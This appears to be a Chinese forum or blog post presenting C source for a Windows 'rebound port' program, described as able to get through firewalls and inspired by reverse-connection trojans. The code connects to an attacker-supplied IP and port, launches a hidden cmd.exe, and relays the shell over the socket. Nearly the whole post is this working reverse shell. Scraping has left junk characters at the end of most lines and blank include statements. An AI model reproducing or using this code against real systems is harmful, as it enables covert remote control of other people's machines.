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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t,;1?W#  
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/* ============================== Y%b 5{1  
Rebound port in Windows NT `Njv#K} U  
By wind,2006/7 =j 6amk-  
===============================*/ 93yJAao9  
#include i8w(G<Y=  
#include g83!il\  
t i)foam  
#pragma comment(lib,"wsock32.lib") AA9OElCa  
BYN<|=  
void OutputShell(); '}*5ee](S  
SOCKET sClient; L=Q- r[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .!Kdi|a)  
P8e1J0A  
void main(int argc,char **argv) x2.G1  
{ 2As 4}  
WSADATA stWsaData; TSmuNCR  
int nRet; lNQt  
SOCKADDR_IN stSaiClient,stSaiServer; N\Bygjw|  
3=1aMQ  
if(argc != 3) dRyK'Xr  
{ mCe,(/>l+  
printf("Useage:\n\rRebound DestIP DestPort\n"); M ]W'>g)G  
return; K Ii Vz<  
} WEUr;f  
l}%!&V0  
WSAStartup(MAKEWORD(2,2),&stWsaData); 'i_od|19~h  
5.#r\' Z#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); to^ &:  
&F[/@  
stSaiClient.sin_family = AF_INET; 7rc^-!k  
stSaiClient.sin_port = htons(0); `f}c 1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Lw?4xerLsb  
q(e&{pbM)  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @D-l_[  
{  pzezN  
printf("Bind Socket Failed!\n"); @"-<m|lM  
return; m,$oV?y>j  
} FZz\z p  
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stSaiServer.sin_family = AF_INET; q"'^W<i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3'O+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g4P059  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I)V2cOrXM  
{ 1?`,h6d*=  
printf("Connect Error!"); CN\SxK`,  
return; s%>>E!Qi_  
} oA}&o_Q%  
OutputShell(); b4!(~"b.  
} \i}n1Qd  
EYd`qk 3  
void OutputShell() rAwq$!xx  
{ zht^gOs  
char szBuff[1024]; $:s1x\ol  
SECURITY_ATTRIBUTES stSecurityAttributes; ,<%Y.x%4z[  
OSVERSIONINFO stOsversionInfo; 7w_`<b6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AQU4~g mI  
STARTUPINFO stStartupInfo; o8BbSZVu  
char *szShell; Lg[*P8wE  
PROCESS_INFORMATION stProcessInformation; <w(UDZ  
unsigned long lBytesRead; [Oe$E5qv)]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gfw,S;  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1`r 4  
stSecurityAttributes.lpSecurityDescriptor = 0; 9 }iEEI  
stSecurityAttributes.bInheritHandle = TRUE; @>B#2t&  
oU% rP  
I1BVqIt1i  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \/la`D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \eH~1@\S  
n'v[[bmu  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mS6 #\'Qa  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dr$k6kZ}'U  
stStartupInfo.wShowWindow = SW_HIDE; $GNN* WmHw  
stStartupInfo.hStdInput = hReadPipe; [!,&A{.!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D3$PvX[f  
}|%dN*',  
GetVersionEx(&stOsversionInfo); 2aX|E4F  
D'ZR>@w@  
switch(stOsversionInfo.dwPlatformId) v*<hE>J0  
{ "yXKu)_  
case 1: rQ(Aj  
szShell = "command.com"; _(5SiK R  
break; *r@7:a5  
default: F?\XhoJ3G  
szShell = "cmd.exe"; cKdn3 2Y4  
break; tq H7M0Ry  
}  gPh;  
ynvU$}w ~'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I?uU }NK  
q.U` mtS  
send(sClient,szMsg,77,0); Fm_^7|  
while(1) ;e4 15T  
{ F{0Z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :f G5?])  
if(lBytesRead) ExeD3Zj  
{ 7n9&@D3 :P  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &l"/G%W  
send(sClient,szBuff,lBytesRead,0); 3p6QJuSB  
} zsFzF`[k  
else ?;zu>4f|  
{ ukpbx;O:hc  
lBytesRead=recv(sClient,szBuff,1024,0); n^B9Mh @  
if(lBytesRead<=0) break; >lQ@" U  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g>-pC a  
} 4~xKW2*`K  
} :7UC=GKQk  
k#uSH eq7f  
return; #%N v\ g;  
}
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